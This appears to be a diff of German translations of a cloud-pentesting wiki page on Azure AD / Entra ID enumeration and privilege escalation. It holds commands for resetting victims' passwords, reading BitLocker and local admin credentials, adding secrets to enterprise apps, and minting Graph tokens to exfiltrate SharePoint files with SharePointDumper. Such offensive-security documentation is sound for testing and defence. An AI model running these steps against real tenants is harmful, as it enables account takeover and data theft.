Diese Berechtigung ermöglicht das Aktualisieren der Mitgliedschaftsregel in einer dynamischen Gruppe. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne ausdrücklich hinzugefügt zu werden.
|
||||
Diese Berechtigung erlaubt das Aktualisieren der Mitgliedschaftsregel in einer dynamischen Gruppe. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst ohne explizite Aufnahme in privilegierte Gruppen einzuschließen.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -212,11 +317,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Hinweis**: Diese Berechtigung schließt Entra ID rollenzuweisbare Gruppen aus.
|
||||
**Hinweis**: Diese Berechtigung schließt Entra ID role-assignable groups aus.
|
||||
|
||||
### Dynamische Gruppen Privesc
|
||||
|
||||
Es könnte möglich sein, dass Benutzer ihre Berechtigungen eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder dynamischer Gruppen hinzugefügt zu werden. Für weitere Informationen siehe:
|
||||
Es könnte möglich sein, dass Benutzer ihre eigenen Eigenschaften ändern, um als Mitglieder dynamischer Gruppen hinzugefügt zu werden und so escalate privileges. Für mehr Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -226,13 +331,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Diese Berechtigung erlaubt es, das Passwort für Nicht-Admin-Benutzer zurückzusetzen, was einem potenziellen Angreifer ermöglicht, die Berechtigungen auf andere Benutzer zu eskalieren. Diese Berechtigung kann nicht benutzerdefinierten Rollen zugewiesen werden.
|
||||
Diese Berechtigung erlaubt das Zurücksetzen von Passwörtern bei non-admin users und kann einem potenziellen attacker ermöglichen, escalate privileges auf andere Benutzer zu erlangen. Diese Berechtigung kann nicht custom roles zugewiesen werden.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Dieses Privileg erlaubt es, die Eigenschaften des Benutzers zu ändern. Es ist üblich, dynamische Gruppen zu finden, die Benutzer basierend auf den Werten der Eigenschaften hinzufügen. Daher könnte diese Berechtigung einem Benutzer erlauben, den erforderlichen Eigenschaftswert festzulegen, um Mitglied einer bestimmten dynamischen Gruppe zu werden und Privilegien zu eskalieren.
|
||||
Dieses Privileg erlaubt das Ändern von Eigenschaften eines Benutzers. Häufig finden sich dynamische Gruppen, die Benutzer anhand von Eigenschaftswerten hinzufügen; daher könnte diese Berechtigung einem Benutzer ermöglichen, den erforderlichen Eigenschaftswert so zu setzen, dass er Mitglied einer bestimmten dynamischen Gruppe wird und dadurch Privilegien zu eskalieren.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -248,9 +353,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Bedingte Zugriffsrichtlinien & MFA-Umgehung
|
||||
## Bedingte Zugriffsrichtlinien & MFA bypass
|
||||
|
||||
Fehlerhaft konfigurierte bedingte Zugriffsrichtlinien, die MFA erfordern, könnten umgangen werden, siehe:
|
||||
Fehlkonfigurierte bedingte Zugriffsrichtlinien, die MFA erzwingen, könnten umgangen werden. Siehe:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Diese Berechtigung ermöglicht Angreifern, sich selbst als Eigentümer von Geräten zuzuweisen, um Kontrolle oder Zugriff auf gerätespezifische Einstellungen und Daten zu erlangen.
|
||||
Mit dieser Berechtigung können Angreifer sich selbst als Besitzer von Geräten zuweisen, um Kontrolle zu erlangen oder auf gerätespezifische Einstellungen und Daten zuzugreifen.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -271,7 +376,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Diese Berechtigung ermöglicht Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erhalten oder Sicherheitsrichtlinien zu umgehen.
|
||||
Diese Berechtigung ermöglicht es attackers, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erhalten oder Sicherheitsrichtlinien zu bypassen.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -282,7 +387,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Diese Berechtigung ermöglicht Angreifern, die Eigenschaften der gesicherten Anmeldeinformationen des lokalen Administratorkontos für Microsoft Entra-verbundene Geräte zu lesen, einschließlich des Passworts.
|
||||
Diese Berechtigung ermöglicht Angreifern, die Eigenschaften der gesicherten Anmeldeinformationen des lokalen Administratorkontos für bei Microsoft Entra registrierte Geräte auszulesen, einschließlich des Passworts
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -297,7 +402,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Schlüssel, was einem Angreifer erlauben könnte, Laufwerke zu entschlüsseln und die Vertraulichkeit von Daten zu gefährden.
|
||||
Diese Berechtigung ermöglicht den Zugriff auf BitLocker keys, wodurch ein attacker Laufwerke entschlüsseln und damit die Vertraulichkeit von Daten gefährden könnte.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Azure Active Directory (Azure AD) dient als Microsofts cloudbasierter Dienst für Identity und Access Management. Er ermöglicht Mitarbeitenden, sich anzumelden und auf Ressourcen innerhalb und außerhalb der Organisation zuzugreifen, einschließlich Microsoft 365, dem Azure portal und einer Vielzahl anderer SaaS-Anwendungen. Das Design von Azure AD konzentriert sich auf die Bereitstellung grundlegender Identitätsdienste, insbesondere **Authentifizierung, Autorisierung und Benutzerverwaltung**.
|
||||
Azure Active Directory (Azure AD) dient als Microsofts cloudbasierter Dienst für Identitäts- und Zugriffsverwaltung. Es ermöglicht Mitarbeitern, sich anzumelden und auf Ressourcen zuzugreifen, sowohl innerhalb als auch außerhalb der Organisation, einschließlich Microsoft 365, dem Azure portal und einer Vielzahl anderer SaaS-Anwendungen. Das Design von Azure AD konzentriert sich darauf, wesentliche Identitätsdienste bereitzustellen, insbesondere **Authentifizierung, Autorisierung und Benutzerverwaltung**.
|
||||
|
||||
Wesentliche Funktionen von Azure AD umfassen **Multi-Faktor-Authentifizierung** und **Conditional Access**, neben nahtloser Integration mit anderen Microsoft-Sicherheitsdiensten. Diese Funktionen erhöhen die Sicherheit von Benutzeridentitäten erheblich und ermöglichen es Organisationen, ihre Zugriffspolicies effektiv umzusetzen und durchzusetzen. Als grundlegende Komponente des Microsoft-Cloud-Ökosystems ist Azure AD zentral für die cloudbasierte Verwaltung von Benutzeridentitäten.
|
||||
Wesentliche Funktionen von Azure AD umfassen **Multi-Faktor-Authentifizierung** und **Conditional Access**, sowie die nahtlose Integration mit anderen Microsoft-Sicherheitsdiensten. Diese Funktionen erhöhen die Sicherheit von Benutzeridentitäten erheblich und ermöglichen es Organisationen, ihre Zugriffsrichtlinien effektiv umzusetzen und durchzusetzen. Als grundlegende Komponente des Microsoft-Cloud-Ökosystems ist Azure AD zentral für das cloudbasierte Management von Benutzeridentitäten.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### **Verbindung**
|
||||
### **Connection**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Wenn du dich mit einem Programm über die **CLI** bei **Azure** anmeldest, verwendest du eine **Azure Application** aus einem **Tenant**, der zu **Microsoft** gehört. Diese Applications, wie die, die du in deinem Account erstellen kannst, **haben eine client id**. Du **wirst nicht alle von ihnen sehen können** in den **allowed applications lists**, die du in der Konsole siehst, **aber sie sind standardmäßig erlaubt**.
|
||||
Wenn Sie sich via **CLI** mit einem beliebigen Programm bei Azure **login**, verwenden Sie eine **Azure Application** aus einem **tenant**, der **Microsoft** gehört. Diese Applications, wie die, die Sie in Ihrem Account erstellen können, **have a client id**. Sie **won't be able to see all of them** in den **allowed applications lists**, die Sie in der **console** sehen können, **aber sie sind standardmäßig erlaubt**.
|
||||
|
||||
Zum Beispiel verwendet ein **PowerShell-Skript**, das sich **authentifiziert**, eine App mit der client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Auch wenn die App nicht in der Konsole erscheint, könnte ein Sysadmin diese **Application blocken**, sodass Benutzer keinen Zugriff mit Tools erhalten, die sich über diese App verbinden.
|
||||
Zum Beispiel verwendet ein **powershell script**, das sich **authenticates**, eine App mit der client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Auch wenn die App nicht in der **console** erscheint, könnte ein sysadmin **block that application**, sodass Benutzer keinen Zugriff über Tools erhalten, die sich über diese App verbinden.
|
||||
|
||||
Es gibt jedoch **andere client-ids** von Applications, die **dir erlauben werden, dich mit Azure zu verbinden**:
|
||||
Es gibt jedoch **other client-ids** von Applications, die **will allow you to connect to Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -227,7 +227,7 @@ az account tenant list
|
||||
|
||||
### Benutzer
|
||||
|
||||
Für weitere Informationen zu Entra ID-Benutzern siehe:
|
||||
Weitere Informationen zu Entra ID-Benutzern:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Conditional Access-Richtlinien
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
Es wird dringend empfohlen, MFA für jeden Benutzer zu aktivieren; einige Unternehmen setzen es jedoch nicht oder konfigurieren es über Conditional Access: Der Benutzer wird **MFA erforderlich, wenn** er sich von einem bestimmten Ort, Browser oder unter **bestimmten Bedingungen** anmeldet. Diese Richtlinien können, wenn sie nicht korrekt konfiguriert sind, anfällig für **bypasses** sein. Prüfe:
|
||||
Es wird dringend empfohlen, MFA für jeden Benutzer zu aktivieren. Manche Unternehmen setzen es jedoch nicht oder konfigurieren es mit Conditional Access: Der Benutzer muss **MFA durchführen, wenn** er sich von einem bestimmten Standort, Browser oder **unter einer bestimmten Bedingung** anmeldet. Diese Richtlinien können, wenn sie nicht korrekt konfiguriert sind, anfällig für **bypasses** sein. Siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -374,7 +374,7 @@ Es wird dringend empfohlen, MFA für jeden Benutzer zu aktivieren; einige Untern
|
||||
|
||||
### Gruppen
|
||||
|
||||
Weitere Informationen zu Entra ID-Gruppen:
|
||||
Für weitere Informationen zu Entra ID groups siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### Benutzer zur Gruppe hinzufügen
|
||||
|
||||
Gruppenbesitzer können neue Benutzer zur Gruppe hinzufügen.
|
||||
Gruppeninhaber können neue Benutzer zur Gruppe hinzufügen
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Gruppen können dynamisch sein, was im Grunde bedeutet, dass **ein Benutzer, wenn er bestimmte Bedingungen erfüllt, einer Gruppe hinzugefügt wird**. Natürlich, wenn die Bedingungen auf **Attributen** basieren, die ein **Benutzer** **kontrollieren** kann, könnte er diese Funktion missbrauchen, um **in andere Gruppen zu gelangen**.\
|
||||
> Wie man dynamic groups missbrauchen kann, siehe folgende Seite:
|
||||
> Gruppen können dynamisch sein, was im Wesentlichen bedeutet, dass **wenn ein Benutzer bestimmte Bedingungen erfüllt, er einer Gruppe hinzugefügt wird**. Natürlich, wenn die Bedingungen auf **Attributen** basieren, die ein **Benutzer** **kontrollieren** kann, könnte er dieses Feature missbrauchen, um **in andere Gruppen zu gelangen**.\
|
||||
> Siehe, wie man dynamische Gruppen missbrauchen kann auf der folgenden Seite:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Für weitere Informationen über Entra ID service principals siehe:
|
||||
Für weitere Informationen zu Entra ID Service Principals siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alle Enterprise Apps auflisten und versuchen, ein client secret bei jeder hinzuzufügen</summary>
|
||||
<summary>Enterprise Apps auflisten und versuchen, für jede ein client secret hinzuzufügen</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -715,10 +715,10 @@ Für weitere Informationen zu Anwendungen siehe:
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Wenn eine App erstellt wird, werden zwei Arten von Berechtigungen vergeben:
|
||||
Wenn eine App erstellt wird, werden 2 Arten von Berechtigungen vergeben:
|
||||
|
||||
- **Berechtigungen**, die dem **Service Principal** gewährt werden
|
||||
- **Berechtigungen**, die die **app** **im Namen des Benutzers** haben und verwenden kann
|
||||
- **Berechtigungen**, die die **app** haben kann und im **Namen des Benutzers** verwenden kann.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Alle Anwendungen finden, die API-Berechtigungen für Nicht-Microsoft-APIs haben (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az" }}
|
||||
@@ -820,17 +895,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Eine App mit der Berechtigung **`AppRoleAssignment.ReadWrite`** kann sich selbst die Rolle gewähren und damit zum **Global Admin eskalieren**.\
|
||||
> Für weitere Informationen [**siehe hier**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Eine App mit der Berechtigung **`AppRoleAssignment.ReadWrite`** kann sich selbst die Rolle zuweisen und dadurch **auf Global Admin eskalieren**.\
|
||||
> Für weitere Informationen [**mehr dazu**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Eine geheime Zeichenfolge, die die application verwendet, um ihre Identität beim Anfordern eines Tokens nachzuweisen, ist das application password.\
|
||||
> Wenn du dieses **password** findest, kannst du dich als **service principal** **im** **tenant** anmelden.\
|
||||
> Beachte, dass dieses **password** nur bei der Erstellung sichtbar ist (du könntest es ändern, aber nicht erneut abrufen).\
|
||||
> Der **owner** der **application** kann ein **password** hinzufügen (damit er sie impersonate kann).\
|
||||
> Anmeldungen als diese service principals werden **nicht als riskant markiert** und sie **werden keine MFA haben.**
|
||||
> Eine geheime Zeichenfolge, die die Anwendung verwendet, um ihre Identität beim Anfordern eines Tokens zu beweisen, ist das Anwendungspasswort.\
|
||||
> Wenn du dieses **Passwort** findest, kannst du dich als **service principal** **im** **tenant** anmelden.\
|
||||
> Beachte, dass dieses Passwort nur bei der Erstellung sichtbar ist (du könntest es ändern, aber nicht erneut abrufen).\
|
||||
> Der **Eigentümer** der **Anwendung** kann **ein Passwort hinzufügen** (damit kann er sich als diese ausgeben).\
|
||||
> Anmeldungen als diese service principals werden **nicht als riskant markiert** und sie **haben keine MFA.**
|
||||
|
||||
Es ist möglich, eine Liste häufig verwendeter App-IDs, die Microsoft gehören, unter [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) zu finden.
|
||||
Eine Liste häufig verwendeter App-IDs von Microsoft findest du unter [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -852,7 +927,7 @@ az identity list --output table
|
||||
|
||||
### Azure-Rollen
|
||||
|
||||
Für weitere Informationen über Azure-Rollen siehe:
|
||||
Für weitere Informationen zu Azure-Rollen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1060,12 +1135,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn ein Gerät (VM) **AzureAD joined** ist, können Benutzer aus AzureAD sich **anmelden**.\
|
||||
> Außerdem, wenn der angemeldete Benutzer **Owner** des Geräts ist, ist er **local admin**.
|
||||
> Wenn ein Gerät (VM) in **AzureAD joined** ist, können Benutzer aus AzureAD **sich anmelden**.\
|
||||
> Außerdem, wenn der angemeldete Benutzer **Owner** des Geräts ist, wird er **lokaler Administrator**.
|
||||
|
||||
### Administrative Einheiten
|
||||
|
||||
Für weitere Informationen zu Administrative Einheiten siehe:
|
||||
Weitere Informationen zu administrativen Einheiten:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Angreifer mit einem **delegierten Microsoft Graph-Token**, das **`Sites.Read.All`** oder **`Sites.ReadWrite.All`** enthält, können **sites/drives/items** über Graph enumerieren und anschließend **Dateiinhalte** über **SharePoint pre-authentication download URLs** abrufen (zeitlich begrenzte URLs, die ein Access-Token einbetten). Das [SharePointDumper](https://github.com/zh54321/SharePointDumper)-Script automatisiert den kompletten Ablauf (Enumeration → pre-auth Downloads) und erzeugt pro Anfrage Telemetrie zum Testen von Erkennungsmechanismen.
|
||||
Angreifer mit einem **delegated Microsoft Graph token**, das **`Sites.Read.All`** oder **`Sites.ReadWrite.All`** einschließt, können **sites/drives/items** über Graph enumerieren und anschließend **pull file contents** über **SharePoint pre-authentication download URLs** abrufen (time-limited URLs, die ein access token einbetten). Das [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automatisiert den kompletten Ablauf (enumeration → pre-auth downloads) und erzeugt per-request telemetry für detection testing.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper selbst **authentifiziert nicht**; liefere ein Access-Token (optional ein Refresh-Token).
|
||||
- Vorab zugestimmte **first-party clients** können missbraucht werden, um ohne Registrierung einer App ein Graph-Token zu erzeugen. Beispielaufrufe von `Invoke-Auth` (aus [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
- SharePointDumper selbst **authentifiziert nicht**; liefern Sie ein access token (optional refresh token).
|
||||
- Vorab zugestimmte **first-party clients** können missbraucht werden, um ein Graph token ohne Registrierung einer App zu minten. Beispiel `Invoke-Auth` (von [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) Aufrufe:
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1120,32 +1195,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> FOCI TRUE-Clients unterstützen Refresh geräteübergreifend; FOCI FALSE-Clients benötigen oft `-Origin`, um die reply URL origin validation zu erfüllen.
|
||||
> FOCI TRUE-Clients unterstützen Refresh über Geräte hinweg; FOCI FALSE-Clients erfordern oft `-Origin`, um die Reply-URL-Origin-Validierung zu erfüllen.
|
||||
|
||||
### Ausführen von SharePointDumper für enumeration + exfiltration
|
||||
|
||||
- Einfacher dump mit custom UA / proxy / throttling:
|
||||
- Basic dump mit custom UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- Scope-Kontrolle: Ein-/Ausschluss von Sites oder Erweiterungen und globale Limits:
|
||||
- Bereichskontrolle: Sites oder Erweiterungen ein-/ausschließen und globale Beschränkungen:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Fortsetzen** unterbrochene Durchläufe (listet erneut auf, überspringt aber bereits heruntergeladene Elemente):
|
||||
- **Fortsetzen** unterbrochener Durchläufe (erneut auflistet, überspringt jedoch bereits heruntergeladene Elemente):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Automatische Token-Aktualisierung bei HTTP 401** (erfordert geladenes EntraTokenAid):
|
||||
- **Automatische token refresh bei HTTP 401** (erfordert geladenes EntraTokenAid):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Betriebsnotizen:
|
||||
Operational notes:
|
||||
|
||||
- Bevorzugt **CAE-enabled** Tokens, um ein Ablaufen während der Ausführung zu vermeiden; Refresh-Versuche werden im API-Log des Tools **nicht** protokolliert.
|
||||
- Erzeugt **CSV/JSON request logs** für **Graph + SharePoint** und redactet eingebettete SharePoint-Download-Tokens standardmäßig (umschaltbar).
|
||||
- Unterstützt **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter** und **Ctrl+C-safe shutdown** für Traffic-Shaping während Detection/IR-Tests.
|
||||
- Bevorzugt **CAE-enabled** Tokens, um ein Ablauf mitten im Lauf zu vermeiden; Aktualisierungsversuche werden **nicht** im API-Log des Tools protokolliert.
|
||||
- Erzeugt **CSV/JSON request logs** für **Graph + SharePoint** und schwärzt standardmäßig eingebettete SharePoint-Download-Tokens (umschaltbar).
|
||||
- Unterstützt **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter** und **Ctrl+C-safe shutdown** zur Traffic-Gestaltung während Detection/IR-Tests.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
@@ -1159,29 +1234,29 @@ Betriebsnotizen:
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Verteidigungsmechanismen
|
||||
## Abwehrmechanismen
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure hilft dabei, dass Benutzern nicht unnötig **übermäßige Privilegien** zugewiesen werden.
|
||||
Privileged Identity Management (PIM) in Azure hilft dabei, **die unnötige Zuweisung übermäßiger Berechtigungen** an Benutzer zu verhindern.
|
||||
|
||||
Eine der Hauptfunktionen von PIM ist, dass Rollen nicht ständig aktiven Principals zugewiesen werden müssen, sondern diese für einen Zeitraum **eligible** gemacht werden können (z. B. 6 Monate). Wenn ein Benutzer dann die Rolle aktivieren möchte, muss er sie anfordern und den benötigten Zeitraum angeben (z. B. 3 Stunden). Anschließend muss ein **Administrator die Anfrage genehmigen**.\
|
||||
Hinweis: Der Benutzer kann auch eine **Verlängerung** der Zeit anfragen.
|
||||
Eine der Hauptfunktionen von PIM ist, dass Rollen nicht dauerhaft aktiven Principals zugewiesen werden müssen, sondern stattdessen **für einen Zeitraum (z. B. 6 Monate)** als berechtigt markiert werden können. Wenn der Benutzer die Rolle aktivieren möchte, muss er diese anfordern und die Dauer angeben, für die er das Privileg benötigt (z. B. 3 Stunden). Anschließend muss ein **Admin die Anfrage genehmigen**.\
|
||||
Beachte, dass der Benutzer auch die Möglichkeit hat, die Zeit zu **verlängern**.
|
||||
|
||||
Außerdem **sendet PIM E-Mails**, wann immer eine privilegierte Rolle an jemanden vergeben wird.
|
||||
Außerdem **sendet PIM E-Mails**, wann immer jemand eine privilegierte Rolle zugewiesen bekommt.
|
||||
|
||||
